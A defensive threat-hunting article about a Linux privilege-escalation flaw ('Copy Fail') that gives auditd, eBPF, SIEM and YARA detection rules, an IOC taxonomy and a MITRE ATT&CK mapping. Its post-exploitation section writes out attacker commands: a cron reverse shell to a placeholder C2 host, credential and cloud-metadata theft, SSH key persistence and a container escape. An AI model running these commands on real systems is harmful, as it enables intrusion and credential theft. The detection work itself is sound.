CVE-2026-31431: Hunting the Invisible - Detection, Telemetry, and Threat Hunting Strategies
Jul 10, 2026By Smayan C Nandi
Copy Fail leaves no file on disk, writes no kernel module, and triggers no inode change event. Every traditional detection primitive built around file-system state is blind to it. This part of the series is entirely dedicated to detection: why standard tools fail, what signal does exist, how to build layered detection from auditd through eBPF through SIEM correlation, what to look for in memory forensics, the complete IOC taxonomy, and the full MITRE ATT&CK technique mapping for a Copy Fail campaign from initial foothold to post-escalation persistence.
Disk Artifacts
Zero
No files written, no modules loaded, nothing on disk changes
FIM Visibility
None
AIDE, Tripwire, inotify all blind to page cache modification
Primary Detection Signal
AF_ALG socket
Family 38 from non-root is the highest-confidence indicator
auditd Signal Latency
Real-time
Syscall-level events fire before exploitation completes
MITRE Techniques Mapped
13
Across 7 tactics from Initial Access through Exfiltration
Why Standard Detection Fails - The Detection Gap in Detail
Before building detection, it is necessary to understand exactly why conventional host security controls produce no signal for Copy Fail. Each gap has a specific technical reason, and understanding those reasons guides the selection of controls that do work.
| Detection Control | Typical Use | Why It Fails for Copy Fail | Signal Available |
|---|---|---|---|
| File Integrity Monitoring (AIDE, Tripwire) | Hash on-disk files and alert on change | Page cache is in-memory. The on-disk inode, data blocks, and extended attributes of /usr/bin/su are never touched. The hash matches pre-exploitation values throughout and after the attack. |
None |
| inotify / fanotify | Kernel filesystem event notifications | splice() into an AF_ALG op file descriptor does not go through the normal VFS write path. No IN_MODIFY or IN_CLOSE_WRITE event is raised on the target binary. |
None |
| Standard EDR file monitoring | Watch for writes to sensitive binaries in /usr/bin/ |
Same root cause as inotify. File write events are not raised. EDRs relying on kernel callbacks for write operations on protected paths see nothing. | None |
| AppArmor / SELinux (default profiles) | Enforce mandatory access control on file and network operations | Default profiles do not deny AF_ALG socket creation. They are designed to allow it, because AF_ALG is a legitimate userspace crypto interface. Unless a custom policy explicitly denies socket(AF_ALG, ...), these controls produce no block and no log entry. |
None (default) / Block (custom policy) |
| Network monitoring / IDS | Detect malicious network traffic | Copy Fail is a purely local attack. No network connection is made during exploitation. The AF_ALG interface operates entirely within the kernel. | None during exploit |
| auditd (default configuration) | Kernel audit subsystem for syscall and file event logging | Default auditd configurations do not enable syscall-level monitoring for socket() calls. Without explicit rules targeting AF_ALG socket creation, auditd is silent during exploitation. |
None (default) |
| auditd (with specific rules) | Targeted syscall monitoring | With rules filtering for socket() with a0=38 (AF_ALG family), auditd fires immediately when the exploit opens its socket. This is the primary host-level detection primitive that actually works. |
High confidence |
| eBPF / bpftrace runtime monitoring | Real-time syscall and kernel function tracing | eBPF tracepoints on sys_enter_socket with family=38 and uid!=0 produce an immediate alert with full process context. No configuration gap, fires in real time. |
High confidence |
| EDR behavioral analysis (UID transition) | Detect privilege escalation via anomalous credential changes | An unprivileged process acquiring UID 0 without going through sudo, su, or a known setuid binary call chain is a strong anomaly signal. Most EDRs with behavioral analysis can detect this. |
High confidence |
| Page cache integrity tooling | Compare in-memory page cache hashes against on-disk file hashes | Directly detects the corruption by reading in-memory pages mapped for the target binary and comparing against the on-disk hash. A mismatch indicates active page cache modification. | Definitive forensic indicator |
The fundamental detection problem: Copy Fail operates entirely within the kernel's crypto subsystem and page cache - two layers that most host security tooling does not instrument. Closing this gap requires moving detection to the syscall entry point (before the exploit completes) or to the behavioral outcome (after root is achieved).
auditd Detection Rules
The Linux Audit framework operates at the syscall level, making it the most reliable host-based detection layer for Copy Fail. These rules should be deployed immediately on any Linux host running an unpatched kernel and retained permanently as defense-in-depth even after patching, since the underlying AF_ALG interface remains available.
Rule Set 1 - Primary Exploitation Signal
AF_ALG Socket Creation by Non-Root Process
Critical Signal
# Rule: detect socket() syscall with AF_ALG (family 38) by any non-root UID
# a0=38 is the first argument to socket() -- the address family
# a1=5 is SOCK_SEQPACKET -- the specific socket type the exploit uses
# uid!=0 restricts to non-root processes
-a always,exit -F arch=b64 -S socket -F a0=38 -F uid!=0 -k copyfail_afalg_socket
# 32-bit arch variant for mixed environments
-a always,exit -F arch=b32 -S socketcall -F a0=1 -F uid!=0 -k copyfail_afalg_socket_32
splice() Syscall from Non-Root Process
Corroborating Signal
# Rule: detect splice() by non-root -- alone it is low-confidence
# Combined with an AF_ALG socket event from the same PID within a short
# time window it constitutes a high-confidence indicator pair
-a always,exit -F arch=b64 -S splice -F uid!=0 -k copyfail_splice
setsockopt on SOL_ALG (279) by Non-Root
Corroborating Signal
# Rule: setsockopt with SOL_ALG (level=279) from non-root
# This fires when the exploit sets key material and authsize on the AF_ALG socket
# a1=279 is the SOL_ALG socket option level
-a always,exit -F arch=b64 -S setsockopt -F a1=279 -F uid!=0 -k copyfail_solalg_setsockopt
Rule Set 2 - Post-Escalation Signals
Privileged Execution After Unexpected UID Transition
Critical Signal
# Catch execve() as UID 0 when the original audit session was non-root
# AUID (audit UID) is set at login time and cannot be changed by the process
# AUID != 0 means the session was not started as root
-a always,exit -F arch=b64 -S execve -F uid=0 -F auid!=0 -F auid!=-1 -k copyfail_priv_escalation_exec
# Watch credential files for post-root harvesting
-w /etc/shadow -p r -k copyfail_shadow_read
-w /etc/passwd -p wa -k copyfail_passwd_modify
-w /root/.ssh/ -p wa -k copyfail_root_ssh_modify
-w /etc/cron.d/ -p wa -k copyfail_cron_persist
Applying and Reloading the Rules
Deploy and Verify auditd Rules
Deployment
# Write the rules file
echo '-a always,exit -F arch=b64 -S socket -F a0=38 -F uid!=0 -k copyfail_afalg_socket' | sudo tee /etc/audit/rules.d/copyfail.rules
# Reload audit rules without restarting auditd
sudo augenrules --load
# Verify rules are active
sudo auditctl -l | grep copyfail
# Test: trigger as a non-root user and confirm the event fires
python3 -c "import socket; socket.socket(38, 5, 0)" 2>/dev/null || true
sudo ausearch -k copyfail_afalg_socket --interpret | tail -20
Performance note: AF_ALG socket creation by non-root processes is extremely rare in production environments. The false positive rate for the primary rule is near zero - virtually no legitimate production workload opens AF_ALG sockets from unprivileged processes without a compelling reason. This makes it one of the highest signal-to-noise detection rules deployable for a Linux LPE.
eBPF and bpftrace Real-Time Detection
eBPF-based monitoring provides real-time detection at the kernel level. Unlike auditd, which buffers events and writes to a log file, eBPF programs fire alerts synchronously at the exact moment a tracepoint is hit. For Copy Fail, an alert can fire before the second syscall of the exploit completes - before any page cache corruption occurs.
bpftrace One-Liners for Immediate Deployment
Real-Time AF_ALG Socket Alert
eBPF / bpftrace
# Fire an alert whenever any non-root process calls socket() with AF_ALG
# uid != 0 excludes root processes that may legitimately use AF_ALG
bpftrace -e '
tracepoint:syscalls:sys_enter_socket
/args->family == 38 && uid != 0/
{
printf("[ALERT] CVE-2026-31431 Copy Fail -- AF_ALG socket opened\n");
printf(" PID: %d\n", pid);
printf(" UID: %d\n", uid);
printf(" COMM: %s\n", comm);
printf(" TIME: %llu\n", nsecs);
}'
splice() Correlation with AF_ALG Socket Ancestry
eBPF / bpftrace
# Track processes that have opened AF_ALG sockets and then call splice()
# @afalg_pids is a map that remembers which PIDs have used AF_ALG
bpftrace -e '
tracepoint:syscalls:sys_enter_socket
/args->family == 38 && uid != 0/
{
@afalg_pids[pid] = 1;
printf("[TRACK] PID %d (%s) UID %d opened AF_ALG socket\n", pid, comm, uid);
}
tracepoint:syscalls:sys_enter_splice
/@afalg_pids[pid] == 1/
{
printf("[ALERT] PID %d (%s) called splice() after AF_ALG open -- exploit pattern\n",
pid, comm);
}'
eBPF Kernel Function Probe - Direct Subsystem Instrumentation
kprobe on algif_aead_sendmsg - Catch the Crypto Operation
eBPF kprobe
# kprobe fires when the kernel function algif_aead_sendmsg() is called
# This is the exact function that triggers the authencesn scratch write
# More specific than socket tracing -- fires only on the vulnerable code path
bpftrace -e '
kprobe:algif_aead_sendmsg
/uid != 0/
{
printf("[CRITICAL] algif_aead_sendmsg called by non-root\n");
printf(" PID: %d\n", pid);
printf(" UID: %d\n", uid);
printf(" COMM: %s\n", comm);
print(kstack);
}'
eBPF vs auditd trade-off: eBPF programs require a recent kernel (5.4+ for most tracepoints) and
CAP_BPF or CAP_SYS_ADMIN to load. In environments where loading eBPF programs is restricted or unavailable, auditd rules are the fallback. In modern environments, both should be deployed together: auditd for persistent SIEM logging, eBPF for real-time alerting with richer kernel context.
SIEM Correlation Rules - Wazuh and Generic Logic
Individual auditd events are low-latency but require correlation to reach high confidence at scale. A single socket(AF_ALG, ...) event from an unknown process should immediately trigger a medium-severity alert and begin a 10-second correlation window to confirm the exploit pattern.
Wazuh Rules
Base Rule - AF_ALG Socket by Non-Root
Wazuh SIEM
# Rule 112001: Base detection - AF_ALG socket open by unprivileged process
<rule id="112001" level="10">
<if_group>audit_command</if_group>
<match>type=SYSCALL syscall=socket a0=38</match>
<match>key="copyfail_afalg_socket"</match>
<description>CVE-2026-31431: Non-root process opened AF_ALG socket (family 38)</description>
<group>pci_dss_10.6.1,gpg13_10.1,gdpr_IV_35.7.d</group>
</rule>
Correlation Rule - AF_ALG + splice() from Same PID within 10 Seconds
Critical - Wazuh SIEM
# Rule 112002: splice() following AF_ALG socket open
<rule id="112002" level="8">
<if_group>audit_command</if_group>
<match>type=SYSCALL syscall=splice</match>
<match>key="copyfail_splice"</match>
<description>CVE-2026-31431: Non-root splice() -- correlate with AF_ALG events</description>
</rule>
# Rule 112003: CRITICAL - same PID opened AF_ALG AND called splice()
<rule id="112003" level="14" timeframe="10" frequency="1">
<if_sid>112001</if_sid>
<if_sid>112002</if_sid>
<same_field>audit.pid</same_field>
<description>
CRITICAL: CVE-2026-31431 Copy Fail -- same PID opened AF_ALG socket
AND called splice() within 10 seconds
</description>
<mitre><id>T1068</id></mitre>
</rule>
# Rule 112004: Post-escalation - unexpected UID 0 execve from non-root session
<rule id="112004" level="13">
<if_group>audit_command</if_group>
<match>key="copyfail_priv_escalation_exec"</match>
<description>CVE-2026-31431: execve as UID 0 from non-root audit session -- possible LPE</description>
<mitre><id>T1068</id><id>T1014</id></mitre>
</rule>
Splunk SPL - AF_ALG + splice Correlation
Splunk SPL Detection Query
Splunk SPL
| Search auditd events for AF_ALG socket followed by splice from same process
index=linux_audit sourcetype=linux_audit
(audit_key="copyfail_afalg_socket" OR audit_key="copyfail_splice")
| eval event_type=if(audit_key="copyfail_afalg_socket","afalg_open","splice_call")
| stats
values(event_type) as event_types,
min(_time) as first_seen,
max(_time) as last_seen,
values(comm) as process_name,
values(uid) as uid,
values(exe) as executable
by host, pid
| where
mvcount(event_types) >= 2
AND mvfind(event_types,"afalg_open") >= 0
AND mvfind(event_types,"splice_call") >= 0
AND (last_seen - first_seen) <= 30
| eval severity="CRITICAL"
| eval description="CVE-2026-31431 Copy Fail: AF_ALG socket + splice from same PID"
| table _time, host, pid, process_name, uid, executable, severity, description
KQL - Microsoft Sentinel Variant
Sentinel KQL - Correlation within 30-Second Window
KQL
// Correlate AF_ALG socket open + splice events within a 30-second window
let afalg_events = Syslog
| where SyslogMessage contains "copyfail_afalg_socket"
| extend PID = extract(@"pid=(\d+)", 1, SyslogMessage)
| project TimeGenerated, Computer, PID, SyslogMessage;
let splice_events = Syslog
| where SyslogMessage contains "copyfail_splice"
| extend PID = extract(@"pid=(\d+)", 1, SyslogMessage)
| project TimeGenerated, Computer, PID, SyslogMessage;
afalg_events
| join kind=inner splice_events on Computer, PID
| where abs(datetime_diff('second', TimeGenerated, TimeGenerated1)) <= 30
| project
AlertTime = TimeGenerated,
Host = Computer,
PID = PID,
AFALGEvent = SyslogMessage,
SpliceEvent= SyslogMessage1,
Severity = "Critical",
CVE = "CVE-2026-31431"
Indicator of Compromise Taxonomy
Copy Fail is an in-memory exploit with no traditional file-based IOCs. The taxonomy splits into behavioral IOCs (process and syscall level), memory forensic IOCs (in-memory strings and patterns), and post-exploitation IOCs (artifacts created after root is achieved). Behavioral IOCs are the only reliable detection layer during active exploitation.
Behavioral IOCs - During Active Exploitation
| Indicator | Type | Confidence | Notes |
|---|---|---|---|
socket(38, 5, 0) from non-root process |
Syscall pattern | Critical | AF_ALG SOCK_SEQPACKET - production false positive rate is near zero |
setsockopt(fd, 279, ...) from non-root |
Syscall pattern | High | SOL_ALG option level 279 - configures the AEAD key and authsize |
splice() within 10 seconds of socket(38,...) in same PID |
Correlated syscall pair | Critical | Combination is the exploit core - extremely rare outside exploit context |
~40 sendmsg() calls from the same non-root PID within 5 seconds |
Syscall frequency pattern | High | Each iteration fires one sendmsg - burst pattern is distinctive |
Non-root process opening /usr/bin/su read-only then calling splice() |
File-open + syscall correlation | High | Requires EDR with file-open tracking correlated with syscall telemetry |
| Process transitioning to UID 0 without passing through sudo or PAM authentication | Credential transition anomaly | Critical | The root shell is spawned without any PAM log entry in auth.log |
Burst of lseek() calls on a setuid binary fd interleaved with splice() and sendmsg() |
Syscall sequence | Critical | Distinctive loop: lseek, splice, sendmsg, recvmsg repeated ~40 times |
YARA Rule - Process Memory Scan
YARA Rule for In-Memory Detection
YARA
/*
* YARA rule: scan process memory for Copy Fail exploit strings
* Target: /proc/[pid]/mem or memory dumps of suspicious Python processes
*/
rule CopyFail_CVE_2026_31431 {
meta:
description = "Detects CVE-2026-31431 Copy Fail exploit in process memory"
date = "2026-05-01"
severity = "HIGH"
strings:
/* Full AEAD algorithm string -- highest confidence */
$alg_full = "authencesn(hmac(sha256),cbc(aes))" ascii wide
/* Partial algorithm components */
$alg_part1 = "authencesn" ascii wide
$alg_part2 = "algif_aead" ascii wide
/* Socket family string reference */
$sock_af = "AF_ALG" ascii wide
/* SOL_ALG constant (279 = 0x117) as little-endian DWORD */
$sol_alg = { 17 01 00 00 }
/* Target binary string */
$target_su = "/usr/bin/su" ascii
condition:
/* High confidence: full algorithm string present */
$alg_full
or
/* Medium confidence: two or more partial indicators */
(2 of ($alg_part1, $alg_part2, $sock_af, $target_su))
}
Post-Exploitation IOCs - After Root Is Achieved
| Artifact | Location | Confidence | Description |
|---|---|---|---|
| Unexpected SSH authorized key | /root/.ssh/authorized_keys |
Critical | Attacker-injected public key for persistent root SSH access |
| New cron entry in root crontab | /var/spool/cron/root or /etc/cron.d/ |
Critical | Persistence mechanism - typically a reverse shell or beacon callback |
| New privileged system service | /etc/systemd/system/ or /etc/init.d/ |
Critical | Backdoor service installed to survive reboots |
| Shadow file read without sudo context | /etc/shadow accessed by a process with no PAM session |
High | Credential harvesting: attacker dumping local password hashes |
| Outbound connection from process previously running as non-root | Network telemetry | High | C2 beacon established after escalation; process lineage shows non-root ancestry |
Modified /usr/bin/su in-memory page cache |
Page cache integrity check tool output | Critical | In-memory hash of /usr/bin/su pages differs from on-disk hash - definitive forensic indicator |
| Process with UID 0 and AUID belonging to a service account | auditd logs - auid field |
Critical | The audit UID persists from login time and reveals the original identity behind the escalated process |
Page Cache Integrity Verification
In-Memory vs On-Disk Hash Comparison
Forensic Verification
# Compare the on-disk hash of /usr/bin/su against the in-memory page cache
# If these differ, the page cache has been modified -- definitive indicator
# Step 1: Record the on-disk hash
sha256sum /usr/bin/su
# Step 2: Use the detection probe for non-destructive comparison
python3 copy-fail-detection-probe.py --target /usr/bin/su --compare-disk
Output: MISMATCH at offset 0x4820 -- page cache corrupted
Output: CLEAN -- page cache matches on-disk content
# Step 3: If dropping cache is acceptable (destroys evidence -- snapshot first)
echo 3 > /proc/sys/vm/drop_caches
sha256sum /usr/bin/su
Hash difference before/after drop confirms active page cache modification
Forensic preservation warning: Do NOT run
echo 3 > /proc/sys/vm/drop_caches before taking a memory snapshot. Dropping the cache destroys the primary forensic evidence. Take a full memory dump using LiME or a hypervisor snapshot first, then analyze offline.
Post-Exploitation Behavior and Forensic Artifacts
After a root shell is obtained, Copy Fail itself leaves the stage. What happens next depends entirely on the attacker's objectives. Understanding common post-exploitation patterns helps defenders prioritize what to look for in incident response.
Immediate Post-Escalation (0–60 seconds)
Root shell spawned from corrupted /usr/bin/su execution
auditd: execve event with uid=0, auid=[original-non-root-uid]
auth.log: NO PAM authentication entry -- no prompt was shown
whoami; id; hostname; uname -a -- environment enumeration
cat /etc/passwd; cat /etc/shadow -- credential harvesting
ps aux; ss -tulnp -- process and network recon
Credential Staging (1–5 minutes)
cat /root/.ssh/id_rsa -- root private key exfiltration
find / -name "*.pem" -o -name "*.key" 2>/dev/null -- certificate harvest
env -- read injected CI/CD secrets from environment variables
cat /proc/1/environ -- read init process environment for cloud metadata
curl hxxp://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/ -- AWS IMDSv1
curl -H "Metadata:true" hxxp://169[.]254[.]169[.]254/metadata/instance -- Azure IMDS
Persistence Installation (5–15 minutes)
echo "[attacker-pubkey]" >> /root/.ssh/authorized_keys
echo "* * * * * root /bin/bash -i >& /dev/tcp/[C2-IP]/4444 0>&1" >> /etc/cron.d/update
systemctl enable --now attacker.service -- backdoor service installation
Page cache corruption evicts at next reboot -- persistence requires disk-level mechanisms
Kubernetes / Container Escape (if applicable)
cat /var/lib/kubelet/kubeconfig -- extract node kubelet credentials
ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/ -- enumerate pod secrets
nsenter -t 1 -m -u -i -n -- bash -- escape to host mount namespace
kubectl --kubeconfig=/var/lib/kubelet/kubeconfig get secrets --all-namespaces
Log Sources to Preserve in Incident Response
Priority 1 - Preserve Immediately
auditd log and memory
/var/log/audit/audit.log and all rotated audit logs. Full memory dump via LiME or hypervisor snapshot - page cache forensic evidence lives only in RAM and disappears on reboot or cache eviction.
Priority 2 - High Value
Auth and system logs
/var/log/auth.log or /var/log/secure. Look for su/sudo entries that are ABSENT when root shells appear. /var/log/syslog and kern.log for kernel-level messages from the crypto subsystem.
Priority 3 - Supporting Evidence
Shell history and bash artifacts
/root/.bash_history, /root/.zsh_history, /proc/[pid]/cmdline for attacker command reconstruction. /tmp/ and /dev/shm/ for dropped tools.
MITRE ATT&CK Mapping - Full Technique Coverage
The following mapping covers Copy Fail exploitation from initial local foothold through post-escalation persistence and exfiltration. The escalation technique (T1068) is the constant across all campaigns; post-exploitation techniques vary by attacker objective.
| Tactic | Technique | ID | Notes |
|---|---|---|---|
| Initial Access | Valid Accounts - Local Accounts | T1078.003 | Copy Fail requires an existing local unprivileged account. Initial access is obtained through a separate vulnerability or credential compromise before LPE is applied. |
| Execution | Command and Scripting Interpreter: Python | T1059.006 | The exploit is a Python script using only the standard library. Python 3 is present by default on virtually every modern Linux distribution. |
| Privilege Escalation | Exploitation for Privilege Escalation | T1068 | The core technique. Copy Fail exploits the authencesn AEAD scratch write bug to corrupt a setuid binary's page cache and execute code as root. |
| Defense Evasion | Rootkit (in-memory modification) | T1014 | The page cache modification is invisible to disk-based integrity checking. Modifying in-memory executable pages without touching disk is functionally equivalent to a rootkit in terms of FIM evasion. |
| Defense Evasion | Indicator Removal - File Deletion | T1070.004 | No exploit artifact is written to disk. The page cache modification auto-evicts on reboot, leaving no persistent evidence without dedicated forensic tooling. |
| Defense Evasion | Impair Defenses - Disable or Modify Tools | T1562 | Post-escalation, root access is used to disable auditd, unload eBPF programs, or modify auditd rules to prevent detection of subsequent activity. |
| Credential Access | OS Credential Dumping: /etc/shadow | T1003.008 | Root access exposes /etc/shadow, enabling offline cracking of local account password hashes. Commonly executed within the first minute of post-escalation activity. |
| Persistence | SSH Authorized Keys | T1098.004 | Attacker injects their public key into /root/.ssh/authorized_keys, establishing persistent root SSH access that survives reboots and password changes. |
| Persistence | Create or Modify System Process: Systemd Service | T1543.002 | A backdoor systemd service is installed under /etc/systemd/system/ and enabled to run at boot, providing persistence independent of the page cache modification. |
| Command and Control | Application Layer Protocol | T1071 | Post-escalation C2 beacon is established from the root shell context. Protocols observed include HTTPS beacons and DNS tunneling, varying by attacker tooling. |
| Lateral Movement | Remote Services: SSH | T1021.004 | Root SSH private keys discovered on the compromised host are used to access other servers. Shared SSH keys across a fleet enable fleet-wide lateral movement from one Copy Fail escalation. |
| Lateral Movement | Container Administration Command | T1609 | In Kubernetes environments, kubelet credentials obtained from the compromised node are used to exec into other pods on the node. |
| Exfiltration | Exfiltration Over C2 Channel | T1041 | Harvested credentials, private keys, cloud IAM tokens, and environment variable secrets are exfiltrated over the established C2 channel before any remediation action begins. |
What Is Coming in This Series
Part 1
Nine Years in the Dark
Root cause commit, AF_ALG socket mechanics, page cache corruption, FIM blindness, affected distributions
Part 2
The 732-Byte Root
Complete syscall chain, page cache write mechanics, container escape, Kubernetes blast radius, WSL2, active exploitation timeline
Part 3 - This Article
Finding the Footprint
auditd rules, eBPF monitoring, Wazuh SIEM correlation, YARA memory strings, IOC taxonomy, MITRE ATT&CK full mapping, post-exploitation forensics
Part 4
Closing the Door
Per-distro patch verification, algif_aead blacklist procedure, seccomp and AppArmor controls, Kubernetes hardening, vulnerability chaining
